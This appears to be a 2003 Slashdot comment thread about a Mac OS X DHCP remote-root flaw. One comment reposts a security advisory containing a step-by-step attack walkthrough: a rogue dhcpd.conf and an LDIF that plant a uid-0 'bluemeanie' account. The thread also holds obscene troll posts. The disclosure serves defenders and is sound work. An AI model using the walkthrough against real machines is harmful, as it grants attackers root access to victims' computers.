Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

New Remote Root in Mac OS X

pudge posted more than 10 years ago | from the batten-down-the-hatches dept.

Security 445

Cysgod writes "I've released a security advisory detailing a new remote root vulnerability in Mac OS X 10.3, 10.2 and possibly earlier versions." The main thrust is that it exploits a problem in the DHCP client, to gain root access, and turning off various services can prevent attack. It is unclear why an exploit was made public before Apple resolved the problem. Apple's fix is apparently scheduled for a December release.

Sorry! There are no comments related to the filter you selected.

Made in Goatse (-1)

(TK)Max (668795) | more than 10 years ago | (#7572269)

FUCKING FILTHY LINUX USERS________SWINES__ ______
________ ________________________________,i,.`.__
LINUX__\`ii-.`-._..--...-iii________```--i:_ )a)_
SUCKS____`-.._` 'asasasasasasas-..asasasasa__ia/_
_,'`..__..'' -. _ `._asasasasasasasasasasasasa\__
('';` . . ._ ,'' . .as.-'asasasasasas,'asasasa:__
_`-._ . . `*/ . . ,asasasasasasasasas'asasas.asl_
____.:._ . `-'`-'as;asa\asasasasasasasasa,'as;___
_.':::::'` . .,' \,'asasa:asasasasa;asasasasas/__
__`-..__ . . . .,'/asasas|asasasa,'asasasasa,'___
_________``---;'` \ `asasa;.____..-'`.asasa,'\___
_TROLLKORE__/asa/ \:asas:____________:asa(\ `\___
_________ ,'as.'___\asas:__________;'asa/ )__)___
_________/,_,.;::.__`.asa\________/asa,',',_(:::.
FUCK THE CORRUPT______`.as`._____,'as;'__________
SLASHDOT SYSTEM________/,_,'::. `-'`':___________


WHILE YOU FUCKING FILTH STUFF YOUR FAT MOUTHES WITH OPEN SOURCE, COMMUNISM IS TAKING OVER THE WORLD.
Trollkore - I hate you, I hate your country, and I hate your face.

Your first post is good... (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#7572321)

Good enough for me to poop on!

YER FP JUST HAS BEEN MADE IRRELEVANT (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7572393)

by my stanking anus!!11

-Homos

I GOT A GREASED UP YODA DOLL SHOVED UP MY ASS! (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7572272)

GO OSX!

Mummify my cock in a coffin of chode, Fent (-1)

(TK4)Dessimat0r (669989) | more than 10 years ago | (#7572279)

-INSANE-PRIEST--INSANE-PRIEST--INSAN
I___________,.-------.,____________I Slashdot
N______,;~'_____________'~;,_______N fucking
S____,;____LINUX FUCKING____;,_____S sucks
A___;___SUCKS, YOU FUCKING____;____A
N__,'____SLASHDOT RETARDS.____',___N Rob Malda
E_,;___GET IT INTO YOUR HEAD___;,__E is a
-_;_;______._____l_____.______;_;__- cocksucker
P_l_;____________l____________;_l__P
R_l__`/~"_____~"_._"~_____"~\'__l__R Slashdot
I_l__~__,-~~~^~,_l_,~^~~~-,__~__l__I fucking
E__l___l________}:{__ (O) _l___l___E sucks
S__l___l_ (o) _/_l_\_______!___l___S
T__.~__(__,.--"_.^._"--.,__)__~.___T Rob Malda
-__l_____---;'_/_l_\_`;---_____l___- is a
-___\__._______V.^.V___((oo))./____- cocksucker
I__O_VI_\________________ll_IV___O_I
N_____I_lT~\___!___!___/~ll_I______N Fucking
S_____I_l`IIII_I_I_I_IIIIll_I__o___S lameness
A_O___I__\,III_I_I_I_III,ll_I______A filters,
N______\___`----------'__ll/____o__N will
E____O___\___._______.___ll________E this
-_________\..___^____../(_l___O____- ever
P_________/_^___^___^_/__ll\_______P fucking
R_O______/`'-l l_l l-';__ll_l___O__R WORK?!
I_______;_`'=l l_l l='__/ll_l______I
E_____O_l___\l l~l l__l/_ll_l______E Your mother
S_______l\___\ l_l l__;__ll_l__O___S was good
T__o____l_\___ll=l l==\__ll_l______T in bed, she
-____o__l_/\_/\l_l l__l`-ll_/______- grunts like
-_______'-l_`;'l_l l__l__ll_____O__- an ape.
I_O_______l__l l_l l__l__ll________I
N____O____l__l+l_l+l__l__ll___O____N Rob Malda
S_________l__"""_"""__l__ll________S is a
A__O______l____o_o____l__ll____O___A cocksucker
N_________l,;,;,;,;,;,l__ll________N
E_____O___`lIlIlIlIlIl`__ll________E
-__________llIlIlIlIll___ll_____O__- By Dessimat0r
P__________`"""""""""`___""________P (c)2003 Trollkore
-INSANE-PRIEST--INSANE-PRIEST--INSAN

The bishop, while living, was a follower of God.
Now dead, his rotting fingers are able to raise
an army of skeletons from the grave.

Trollkore
"I hate you, I hate your country, and I hate your face!"

# Important Stuff: Please try to keep posts on topic. # Try to reply to other people's comments instead of starting new threads. # Read other people's messages before posting your own to avoid simply duplicating what has already been said. # Use a clear subject that describes what your message is about. # Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated. (You can read everything, even moderated posts, by adjusting your threshold on the User Preferences Page) # Important Stuff: Please try to keep posts on topic. # Try to reply to other people's comments instead of starting new threads. # Read other people's messages before posting your own to avoid simply duplicating what has already been said. # Use a clear subject that describes what your message is about. # Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated. (You can read everything, even moderated # Important Stuff: Please try to keep posts on topic. # Try to reply to other people's comments instead of starting new threads. # Read other people's messages before posting your own to avoid simply duplicating what has already been said. # Use a clear subject that describes what your message is about. # Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated. (You can read everything, even moderated posts, by adjusting your threshold on the User Preferences Page) # Important Stuff: Please try to keep posts on topic. # Try to reply to other people's comments instead of starting new threads. # Read other people's messages before posting your own to avoid simply duplicating what has already been said. # Use a clear subject that describes what your message is about. # Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated. (You can read everything, even moderated posts, by adjusting your threshold on the User Preferences Page)

i thought i would never say this (5, Funny)

Anonymous Coward | more than 10 years ago | (#7572285)


thank goodness iam running Windows

Re:i thought i would never say this (5, Funny)

toastmaster (311275) | more than 10 years ago | (#7572306)

because windows never had any security issues...

Trolling for karma, eh? (-1, Troll)

Anonymous Coward | more than 10 years ago | (#7572360)

I am on to you, fucker

Re:i thought i would never say this (4, Funny)

ePhil_One (634771) | more than 10 years ago | (#7572339)

Crazy fools! I run DOS with one of those big NFL Replay Review hoods, while inside a farady cage.

Its the only way to be safe.

Blasted City Folks! (4, Funny)

GussT (726047) | more than 10 years ago | (#7572593)

Everybody knows in the sticks that when you get a worm in your apple it just means you are getting a little extra protein in your snack.

Re:i thought i would never say this (0, Funny)

helzerr (232770) | more than 10 years ago | (#7572350)

Damn it, why don't I ever have mod points when I need 'em... That's funny!

Re:i thought i would never say this (0)

Anonymous Coward | more than 10 years ago | (#7572353)

thank you for moding this as funny

Michael, is that you? (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#7572409)

Is it perverted if I install a fleshlight in a "Tickle-Me-Elmo"?

And now the question of support... (-1, Flamebait)

gumpish (682245) | more than 10 years ago | (#7572289)

It is unclear why an exploit was made public before Apple resolved the problem. Apple's fix is apparently scheduled for a December release.


Even more unclear is which releases of Mac OS X Apple plans to continute to release security fixes for...

Re:And now the question of support... (1)

johnpaul191 (240105) | more than 10 years ago | (#7572344)

in the last few weeks security fixes for 10.2.x and 10.3.x have shown up.... Apple is still supporting users not running 10.3, but who knows for how long that will continue?

as far as people running 10.1.x and not upgrading to at least 10.2, i don't know.

if you are waiting for a 9.x update.... um.... yeah..... bye!

Re:And now the question of support... -idiot os9 (0)

Anonymous Coward | more than 10 years ago | (#7572406)

os 9 has no vulnerabilities that need patching you retard.

OS9 has NEVER had any exploits possible according to bugtraqs entire database history.

Re:And now the question of support... -idiot os9 (0, Offtopic)

tomhudson (43916) | more than 10 years ago | (#7572472)

poster wrote:
os 9 has no vulnerabilities that need patching you retard.

OS9 has NEVER had any exploits possible according to bugtraqs entire database history.

Every time I see OS9 mentioned, I think of this [rtsi.com] , the original OS9. No exploits there, and links to versions running on dif. platforms, etc., that you can download.

Re:And now the question of support... (1)

falcon5768 (629591) | more than 10 years ago | (#7572345)

not really since a fix for the last vulnerability was sent out for jag last week.

Re:And now the question of support... (3, Informative)

llf4nlp (665478) | more than 10 years ago | (#7572359)

Apple is on record saying they will provide security fixes for all versions of OS X. In some cases, the press has not caught up with this fact.

source (0)

Dave_bsr (520621) | more than 10 years ago | (#7572567)

Yeah? well I heard "apple is on record as saying they WON'T patch anything but the latest version." Cite me a source.

Re:And now the question of support... (4, Informative)

tgibbs (83782) | more than 10 years ago | (#7572379)

Even more unclear is which releases of Mac OS X Apple plans to continute to release security fixes for...

Yes, all we have to go on is Apple's past record of continuing to provide security fixes for previous versions of OS X and OS 9.

Exploitability Questionable (5, Informative)

marsipan (641873) | more than 10 years ago | (#7572291)

"In most cases, the Mac will need to be booted into the malicious environment to be exploitable by this flaw. (The netinfod process must be restarted to cause the malicious server to be inserted into the authentication source list.)"

This definitely makes the exploit less likely...

Re:Exploitability Questionable (3, Interesting)

gl4ss (559668) | more than 10 years ago | (#7572371)

how about public wlans? is it exploitable in a scenario like that?

yeah i don't know if they use dhcp or what but i imagine so.

(i don't have a laptop, thank you very much please give me one)

Default? (4, Informative)

Phroggy (441) | more than 10 years ago | (#7572293)

and on any network provided service, including ssh (which is turned on by default in certain versions of the affected software).

I'm not aware that SSH was enabled by default in any version of Mac OS X.

Re:Default? (5, Informative)

Darth_Foo (608063) | more than 10 years ago | (#7572381)

I don't beleive it is in the client versions of OS X but it almost certainly is in OS X Server (which is also subject to the published vulnerability).

Re:Default? (0)

Anonymous Coward | more than 10 years ago | (#7572387)

Ummm...yeah it is. Dumbass.

Call me an Apple Apologist, but.. (5, Insightful)

grub (11606) | more than 10 years ago | (#7572296)


OK, there's a hole. Still, when Apple (or OpenBSD) have a security hole it's newsworthy rather than just Business As Usual.. unlike other companies which promise security but can't deliver.

Re:Call me an Apple Apologist, but.. (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#7572389)


The only hole around here is YOUR GAPING WHOREHOLE YOU GODDAMNED WHORE!

You are such a fucking whore.

Re:Call me an Apple Apologist, but.. (0)

Anonymous Coward | more than 10 years ago | (#7572433)

I love you too, sweetie. Thanks for letting me eat up some of your life.

Re:Call me an Apple Apologist, but.. (4, Insightful)

FredFnord (635797) | more than 10 years ago | (#7572461)

Most security holes aren't newsworthy. Remote root exploits, if they can actually be used, are, no matter what platform you're on. Thankfully, they're also rare, on most platforms.

If someone can screw up your machine if they're sitting at it, or have an account on it, or are on the same (unswitched) subnet, that's annoying. If they can crash your machine remotely, or bring down its network stack, or DOS it to death with just one remote machine, that's really annoying. But when they can take it over, that's when it steps beyond annoying and becomes newsworthy.

-fred

Re:Call me an Apple Apologist, but.. (2, Interesting)

freeweed (309734) | more than 10 years ago | (#7572479)

Yeah, on a day with 5 new IE holes [computerworld.com] (most of which are the same magnitude), I'll have to agree with you.

Re:Call me an Apple Apologist, but.. (0)

Anonymous Coward | more than 10 years ago | (#7572546)

Not the same magnitude, you fucking tard.

Think about someone gaining complete access, then someone propagating a virus.

Re:Call me an Apple Apologist, but.. (3, Informative)

Evil Adrian (253301) | more than 10 years ago | (#7572490)

Root exploits are newsworthy. Every time Microsoft has a root exploit, it makes headlines, so Quit Thy Bitching.

Re:Call me an Apple Apologist, but.. (4, Funny)

feepness (543479) | more than 10 years ago | (#7572553)

You are an Apple Apologist.

Re:Call me an Apple Apologist, but.. (-1, Troll)

VividU (175339) | more than 10 years ago | (#7572592)

Apple is on probation as far I'm concerned.

Apple software is earning a reputation for releasing code that has the nasty propensity to wipe hard drives clean.

iTunes, USB...there was something else, maybe someone else could help.

Seems to me... (-1, Troll)

huckda (398277) | more than 10 years ago | (#7572299)

that the exploit was made public the moment they shipped the OS...

What does this mean to the average home user? (4, Informative)

Anonymous Coward | more than 10 years ago | (#7572309)

Assuming two scenarios:

1. A home user with dialup, running no external services, with the firewall turned on.

2. A home user with DSL/CABLE, running behind NAT. And for fun, let's add Airport. Also not running any services, firewall on.

For the non-technical /. reader, is this vulnerability something to be seriously concerned about?

Re:What does this mean to the average home user? (1)

falcon5768 (629591) | more than 10 years ago | (#7572370)

not really, even in a coperate enviroment it would be kinda difficult to exploit if you know a little bit about security

Re:What does this mean to the average home user? (4, Insightful)

TheCrazyFinn (539383) | more than 10 years ago | (#7572526)

Neither are vulnerable.

The real worry is folks with an Airport card wandering around with their powerbook.

The Exploit only works from the same subnet (As it relies on DHCP)

Re:What does this mean to the average home user? (0)

venom600 (527627) | more than 10 years ago | (#7572573)

The Exploit only works from the same subnet (As it relies on DHCP)

Last I heard, DHCP requests were BROADCAST....to the BROADCAST address. Subnet shmubnet.....if your card BROADCASTS a DHCP request, any computer physically connected (or wirelessly, in this case) can respond.

The Reason the exploit was made public.. (4, Insightful)

Smitty825 (114634) | more than 10 years ago | (#7572310)

The exploit was made public before the official fix is that Apple had 48 days to fix the issue. Also, by releasing information about the exploit, Apple Sysadmins can make a minor change to their setup to prevent this exploit from occuring...

Just because the exploit isn't public, doesn't mean that somebody else doesn't know!

Re:The Reason the exploit was made public.. (5, Informative)

abde (136025) | more than 10 years ago | (#7572328)

also there's this timeline of events, which is quite revealing:

History of this Advisory & Vendor Contact Log
2003-10-09 Initial version of this advisory
2003-10-09 Apple Computer notified
2003-10-09 Apple Computer confirmed receipt and forwarded to eng. team
2003-10-11 Minor edits, also added "Philosophical Issues" and "Path to Root"
2003-10-14 Apple Computer assigns specific point of contact
2003-10-14 Requested confirmation of issue with Apple Computer
2003-10-15 Apple Computer confirms issue
(2003-10-24 Original deadline given to Apple for acknowledging issue)
(2003-10-24 Mac OS X 10.3 is released with this known issue)
(2003-10-28 Mac OS X 10.3 Security Update released, does not address issue)
2003-10-28 Requested update of fix status from Apple Computer
2003-10-28 Apple Computer proposes Nov. 3 fix date
2003-10-29 Apple Computer reneges on Nov. 3 date
2003-10-29 Requested fix in "2 or 3 weeks" from Apple Computer
(2003-11-04 Mac OS X 10.3 Security Update released, does not address issue)
(2003-11-15 Mac OS X 10.3.1 is released with this known issue)
2003-11-17 Requested update of fix status from Apple Computer
2003-11-18 Requested update of fix status from Apple Computer
(2003-11-19 Mac OS X 10.3.1 Security Update released, does not address issue)
2003-11-19 Apple Computer replies "scheduled to go out in December's update"
2003-11-19 Deadline of Nov. 26 given to Apple Computer
2003-11-25 Minor edits, made "Path to Root" a little more work for the script kiddies
2003-11-26 Advisory issued (48 days after initial vendor notification)

Re:The Reason the exploit was made public.. (5, Insightful)

GigsVT (208848) | more than 10 years ago | (#7572411)

I do agree that's plenty of time, but it's still questionable to release the exploit at this stage. He could have disclosed, and then if Apple downplayed it saying it wasn't exploitable, then released the exploit.

Re:The Reason the exploit was made public.. (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#7572581)

You stupid git, they DID downplay it, they also released a OS upgrade without the fix, a security update for the same without the fix, and missed 3 deadlines! What the fuck else do you let them get away with? Let them come to your house and piss on your welcome mat before you release the info?

Watch out Bill (3, Funny)

bodin (2097) | more than 10 years ago | (#7572313)

Apple are about to catch up on Microsoft!

Damn (5, Insightful)

JHromadka (88188) | more than 10 years ago | (#7572318)

It seems pretty irresponsible to release details on an exploit when the vendor has already acknowledged the issue and has a date planned on when to release the fix. Now if Apple was ignoring them, that would have been a different story.

Re:Damn (2, Insightful)

mrsev (664367) | more than 10 years ago | (#7572400)

Not when they dont fix it!

Re:Damn (0)

Anonymous Coward | more than 10 years ago | (#7572423)

So why does anyone ever release info on Windows holes before MS issues a patch?

Re:Damn (3, Insightful)

MrPink2U (633607) | more than 10 years ago | (#7572438)

It seems pretty irresponsible not to release a timely patch to a know root exploit. Would you people please make up your minds on the standards by which you judge a software company.

Re:Damn (1, Insightful)

Anonymous Coward | more than 10 years ago | (#7572476)

bullcrap. try reading about it... they were given 48 days and kept making excuses.

Apple is dragging their feet.

Re:Damn (0)

Anonymous Coward | more than 10 years ago | (#7572478)

mod down parent as troll!

Re:Damn (1)

MrPink2U (633607) | more than 10 years ago | (#7572502)

Instead, it got an "insightful".

ROFL

Re:Damn (1)

venom600 (527627) | more than 10 years ago | (#7572510)

Since he posted a workaround and explained the problem in enough detail to allow users to protect themselves, I don't think he was being irresponsible at all.

Also, the vendor has been fully aware of this problem (as noted in his advisory) for quite some time and has had several security updates since then. Ample opportunity to fix the problem.

Making rounds (4, Interesting)

somethinghollow (530478) | more than 10 years ago | (#7572325)

Looks like this guy is making the rounds. A more detailed post is at MacSlash [macslash.org] . The highlight of conversation there is "Root is disabled by default, and SSH is off by default. Therefore the default settings don't make you vulnerable."

Apparently, it took 48 days from the time he informed Apple until now. Looks like he was itching to post something. There's his 15 minutes of fame.

Re:Making rounds (3, Insightful)

marsipan (641873) | more than 10 years ago | (#7572376)

"Root is disabled by default"

Yes, the built-in root (uid 0) account in OS X is disabled.

But, this exploit *replaces* that local uid 0 with one from a malicious remote directory service.

So, the Apple root-account default is circumvented.

Re:Making rounds (1, Informative)

Onan (25162) | more than 10 years ago | (#7572457)

You're right. The only sense in which root is "disabled" in osx is that it has no valid password unless someone explicitly sets one. So supplying a whole new set of accounts does obviate that.

Fortunately, the other point is still somewhat valid: sshd (and afpd, and all other services) are turned off by default. Anyone who enables any of them could get bitten by this, so it's still a problem, but the vast majority of users will leave them off and be invulnerable.

Re:Making rounds (4, Insightful)

Kunta Kinte (323399) | more than 10 years ago | (#7572463)

Apparently, it took 48 days from the time he informed Apple until now. Looks like he was itching to post something.

I'd hardly consider waiting 48 days 'itching'.

Sounds very responsible in my opinion.

My turn to karma-whore (2, Informative)

McDutchie (151611) | more than 10 years ago | (#7572326)

It's already slow and it may get slashdotted soon, so here it is:

[blank.gif] [1]Carrel.ORG > Important Mac OS X Security Advisory

Mac OS X Security Advisory

Vulnerability:

Malicious DHCP response can grant root access

Affected Software

Mac OS X 10.3 (all versions through at least 26-Nov-2003)
Mac OS X Server 10.3 (all versions through at least 26-Nov-2003)
Mac OS X 10.2 (all versions through at least 26-Nov-2003)
Mac OS X Server 10.2 (all versions through at least 26-Nov-2003)
Probably earlier versions of Mac OS X and Mac OS X Server
Possibly developer seeded copies of future versions of Mac OS X

Abstract

A series of seemingly innocuous default settings can cause an affected
Mac OS X machine to trust a malicious machine on a network for user,
group, and volume mounting settings.

What does this mean to the average user

Anyone who can gain access to your network can gain administrator
(root) access to your computer and therefore steal your data or launch
attacks upon others as soon as you reboot your machine. System
administrators and users of affected software should read the section
"Workarounds" for immediate actions to protect their machines. It is
important to note that WEP security in 802.11b/g (AirPort/AirPort
Extreme) wireless networks is generally not sufficient to protect your
network from access by an attacker.

Vendor Patch

Apple Computer has been notified of this issue and may be working a
fix at this time. At the time of this writing, a fix is not available
from Apple.

Workarounds

There are a variety of avenues to avoiding this vulnerability...
1. Disable any network authorization services from obtaining settings
from DHCP:
+ in Directory Access, select LDAPv3 in the Services tab, click
"Configure...", uncheck "Use DHCP-supplied LDAP Server"
+ in Directory Access, select NetInfo in the Services tab,
click "Configure...", uncheck "Attempt to connect using
broadcast protocol" and "Attempt to connect using DHCP
protocol"
+ in Directory Access, uncheck LDAPv3 and NetInfo in the
Services tab, if you don't intend to use them
2. Turning off DHCP on all interfaces on your affected Mac OS X
machine can also keep you from being affected.

For added security, be sure to disable any unused network ports:
* turn the AirPort card off or remove it, if it is not being used.

Configuration Awareness

If a user should need any of these settings turned on due to the
network and authorization system they are currently using, they should
be aware that they could fall prey to a malicious individual using the
techniques outlined in this advisory. Steps to mitigate this concern
could be as simple as manually configuring the directory server
settings on the affected machine.

Technical Details

By default, the affected versions of Mac OS X attempt to negotiate
DHCP on all available interfaces. In the event that an Airport card is
installed but there is no network nearby, they also default to
associate with any network that might appear and then use DHCP to
obtain an address. The system will also use DHCP provided fields, if
available, to connect to an LDAP or NetInfo server on the network.
The default settings in "Directory Access" on affected systems will
cause the system to place the network LDAP or NetInfo server ahead of
the local user info for any given account, and will implicitly trust
the LDAP or NetInfo server to provide correct information.
Furthermore, nothing in the system prevents a login as a user with uid
0 (zero) with any login name. For example, an LDAP or NetInfo source
with an account username "bluemeanie", uid 0, would be perfectly valid
and usable for login at the login window and on any network provided
service, including ssh (which is turned on by default in certain
versions of the affected software).
In most cases, the Mac will need to be booted into the malicious
environment to be exploitable by this flaw. (The netinfod process must
be restarted to cause the malicious server to be inserted into the
authentication source list.)
By taking advantage of these default settings, a malicious individual
could potentially take full control of a Mac OS X workstation or
server without even having to make a physical connection to the
machine. With a good antenna the malicious individual wouldn't even
have to be in the same building.
While the further examples in this advisory deal exclusively with
LDAP, this vulnerability is equally exploitable using a malicious
NetInfo server.

Philosophical Details

The main philosophical failing in this issue was to explicitly trust
information from a network by default. Trusting information from the
any network can be a very dangerous matter and especially the hostile
realms of IP and the Internet. Ideally, data from the network should
only be trusted when the user explicitly says they would like to, or
when accepting that data cannot have possibly any destructive
repercussions.
It helps enormously if the user is cognizant of the dangers in
trusting the information. One should avoid issuing security warnings
if only to make sure users don't simply get in the habit of clicking
"OK". This problem has manifested itself many fold in Microsoft
Windows where users are conditioned to clicking through security
warnings for ActiveX controls and similar issues even when they
possess a signature verifiable by an accepted X.509 certificate
authority. To a lesser extent, the click-through licensing has become
a force of habit for many users as well where they don't bother
reading a license in which they may be guaranteeing a free taxi ride
every Saturday to the developer.
Usually, no harm can come from accepting data from a DHCP server. One
presumes that even if the server isn't legitimate it won't cause any
unavoidable harm. In the average case, the user will wind up with an
IPv4 address that won't work or some similarly benign difficulty. In
the worst case, a malicious DNS server assignment could cause harm
through social engineering approaches; an attacker could fool the
machine and user into transmitting login and password information to
the wrong host. However, SSL, which the well-secured user should be
using, should mitigate this harm by authenticating the identity of
hosts.
In this case, the netinfod processes accept the authentication server
information at face value even though the source is unknown and
unverified. This information should be untrusted unless the user has
explicitly told the machine otherwise. Mechanisms for verifying the
trust with the user abound. Most obvious would be to prompt users
before accepting authentication or automounting information from a
network. The IP, MAC address and network interface of the DHCP server
could be saved to make the prompt a once-only experience for desktop
support teams deploying new systems. Similarly, the user could decide
never to trust authentication information from foreign hosts. This
simple step would force malicious folk to work significantly harder to
obtain the trust of the user and the user's system.

An Attack Narrative on a Wireless Network

A malicious individual sets up a laptop with an 802.11b card running
in AP mode. The individual then sets up a DHCP server on the laptop to
give addresses and ldap-server (DHCP option 95) responses that point
to the laptop and a private network. The individual then sets up an
LDAP server on the laptop pre-populated with a user account with uid 0
and the ou=macosxodconfig item with the appropriate XML for the field
locations.
The individual then simply sits back and waits for the DHCP clients to
take leases on the wireless network. When they do a simple port scan
of the assigned address will reveal any ports that can be taken
advantage of. At this point, the individual can install and run any
malicious executable desired as uid 0.
The malicious individual at this point can turn the 802.11b card in
their laptop off and the only trace of their malfeasance on the victim
machine is possibly a few lines in the system logs.

Adapting the Attack to a Wired Network

To adapt an attack on this vulnerability to a wired network the
malicious individual simply needs to beat any legitimate DHCP server
that might be on the network in sending a response out to a request
for an address. If the machine was previously associated with a DHCP
server this becomes more difficult but is by no means impossible. The
wired attack or an attack on an existing 802.11b/g network is more
complicated but still feasible.

The Path to Root

Taking advantage of this vulnerability is unfortunately quite trivial.
Here is a walk through of the steps needed for the wireless attack
outlined above:
1. Take a fresh install of a UNIX-like system that supports a WiFi
card.
2. Configure the WiFi card to address 192.168.42.1 with a /24 network
mask, if possible put the WiFi card into AP mode with any network
name.
3. Install ISC dhcpd, available as a pre-built package for nearly all
UNIX-like systems.
4. Enter the following into the dhcpd.conf (but don't start it yet):
option ldap-server code 95 = text;
authoritative;
subnet 192.168.42.0 netmask 255.255.255.0 {
range 192.168.42.2 192.168.42.254;
option ldap-server "ldap://192.168.42.1/ou=evil";
}
5. Install OpenLDAP, available as a pre-built package for most
UNIX-like systems.
6. Create a file /tmp/odconfig.xml with the OD mapping information OS
X needs. Alternatively, the ou=macosxodconfig,ou=evil object can
be created from an OS X machine using the Directory Access
application.
7. Create a file evil.ldif with the following contents and feed it to
ldapadd(1):
dn: ou=evil
objectClass: organizationalUnit
ou: people

dn: uid=bluemeanie,ou=evil
objectClass: posixAccount
uid: bluemeanie
userPassword: {crypt}some_crypted_password
cn: Malicious User
gecos: Malicious User
homeDirectory: /
loginShell: /bin/sh
uidNumber: 0
gidNumber: 0

dn: ou=macosxodconfig,ou=evil
objectClass: organizationalUnit
ou: macosxodconfig
description:< file://tmp/odconfig.xml
8. Confirm the creation of the above records using ldapsearch(1)
9. Start up the dhcpd process to the WiFi interface
10. Watch /var/db/dhcpd.leases for potentially vulnerable hosts who
load the configuration
11. Portscan the vulnerable hosts with a tool such as Network
Utility.app or nmap to find services
12. Log in to any presented services using the bluemeanie (uidNumber
0) credentials

Bear in mind that the vulnerable hosts may need netinfod(8) to be
reloaded to fall prey, waiting for them to be rebooted is sufficient.

History of this Advisory & Vendor Contact Log

2003-10-09 Initial version of this advisory
2003-10-09 Apple Computer notified
2003-10-09 Apple Computer confirmed receipt and forwarded to eng. team
2003-10-11 Minor edits, also added "Philosophical Issues" and "Path to
Root"
2003-10-14 Apple Computer assigns specific point of contact
2003-10-14 Requested confirmation of issue with Apple Computer
2003-10-15 Apple Computer confirms issue
(2003-10-24 Original deadline given to Apple for acknowledging issue)
(2003-10-24 Mac OS X 10.3 is released with this known issue)
(2003-10-28 Mac OS X 10.3 Security Update released, does not address
issue)
2003-10-28 Requested update of fix status from Apple Computer
2003-10-28 Apple Computer proposes Nov. 3 fix date
2003-10-29 Apple Computer reneges on Nov. 3 date
2003-10-29 Requested fix in "2 or 3 weeks" from Apple Computer
(2003-11-04 Mac OS X 10.3 Security Update released, does not address
issue)
(2003-11-15 Mac OS X 10.3.1 is released with this known issue)
2003-11-17 Requested update of fix status from Apple Computer
2003-11-18 Requested update of fix status from Apple Computer
(2003-11-19 Mac OS X 10.3.1 Security Update released, does not address
issue)
2003-11-19 Apple Computer replies "scheduled to go out in December's
update"
2003-11-19 Deadline of Nov. 26 given to Apple Computer
2003-11-25 Minor edits, made "Path to Root" a little more work for the
script kiddies
2003-11-26 Advisory issued (48 days after initial vendor notification)

Author, Credit, Redistribution and Copyright Information

This advisory was written by William Carrel.
Redistribution of this text, in whole or in part, with proper credit
given is permitted on or after 17:00 UTC, November 26th, 2003. Any
other redistribution of this advisory without the explicit consent of
the author is not permitted.
Copyright 2003, William Carrel
Happy Holidays.
Page graphics and layout (C) 1997-2003 William Carrel -- All rights
reserved.

Referenties

1. file://localhost/

PREPARE TO GET MODDED DOWN! (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#7572349)

damn karma whores.... mod the AC below me UP!

Vulnerability Text (Already running slow) (1, Informative)

Anonymous Coward | more than 10 years ago | (#7572330)

Carrel.ORG > Important Mac OS X Security Advisory
Mac OS X Security Advisory
Vulnerability:
Malicious DHCP response can grant root access

Affected Software
Mac OS X 10.3 (all versions through at least 26-Nov-2003)
Mac OS X Server 10.3 (all versions through at least 26-Nov-2003)
Mac OS X 10.2 (all versions through at least 26-Nov-2003)
Mac OS X Server 10.2 (all versions through at least 26-Nov-2003)
Probably earlier versions of Mac OS X and Mac OS X Server
Possibly developer seeded copies of future versions of Mac OS X

Abstract
A series of seemingly innocuous default settings can cause an affected Mac OS X machine to trust a malicious machine on a network for user, group, and volume mounting settings.

What does this mean to the average user
Anyone who can gain access to your network can gain administrator (root) access to your computer and therefore steal your data or launch attacks upon others as soon as you reboot your machine. System administrators and users of affected software should read the section "Workarounds" for immediate actions to protect their machines. It is important to note that WEP security in 802.11b/g (AirPort/AirPort Extreme) wireless networks is generally not sufficient to protect your network from access by an attacker.

Vendor Patch
Apple Computer has been notified of this issue and may be working a fix at this time. At the time of this writing, a fix is not available from Apple.

Workarounds
There are a variety of avenues to avoiding this vulnerability...
Disable any network authorization services from obtaining settings from DHCP:
in Directory Access, select LDAPv3 in the Services tab, click "Configure...", uncheck "Use DHCP-supplied LDAP Server"
in Directory Access, select NetInfo in the Services tab, click "Configure...", uncheck "Attempt to connect using broadcast protocol" and "Attempt to connect using DHCP protocol"
in Directory Access, uncheck LDAPv3 and NetInfo in the Services tab, if you don't intend to use them
Turning off DHCP on all interfaces on your affected Mac OS X machine can also keep you from being affected.
For added security, be sure to disable any unused network ports:
turn the AirPort card off or remove it, if it is not being used.
Configuration Awareness
If a user should need any of these settings turned on due to the network and authorization system they are currently using, they should be aware that they could fall prey to a malicious individual using the techniques outlined in this advisory. Steps to mitigate this concern could be as simple as manually configuring the directory server settings on the affected machine.

Technical Details
By default, the affected versions of Mac OS X attempt to negotiate DHCP on all available interfaces. In the event that an Airport card is installed but there is no network nearby, they also default to associate with any network that might appear and then use DHCP to obtain an address. The system will also use DHCP provided fields, if available, to connect to an LDAP or NetInfo server on the network.

The default settings in "Directory Access" on affected systems will cause the system to place the network LDAP or NetInfo server ahead of the local user info for any given account, and will implicitly trust the LDAP or NetInfo server to provide correct information. Furthermore, nothing in the system prevents a login as a user with uid 0 (zero) with any login name. For example, an LDAP or NetInfo source with an account username "bluemeanie", uid 0, would be perfectly valid and usable for login at the login window and on any network provided service, including ssh (which is turned on by default in certain versions of the affected software).

In most cases, the Mac will need to be booted into the malicious environment to be exploitable by this flaw. (The netinfod process must be restarted to cause the malicious server to be inserted into the authentication source list.)

By taking advantage of these default settings, a malicious individual could potentially take full control of a Mac OS X workstation or server without even having to make a physical connection to the machine. With a good antenna the malicious individual wouldn't even have to be in the same building.

While the further examples in this advisory deal exclusively with LDAP, this vulnerability is equally exploitable using a malicious NetInfo server.

Philosophical Details
The main philosophical failing in this issue was to explicitly trust information from a network by default. Trusting information from the any network can be a very dangerous matter and especially the hostile realms of IP and the Internet. Ideally, data from the network should only be trusted when the user explicitly says they would like to, or when accepting that data cannot have possibly any destructive repercussions.

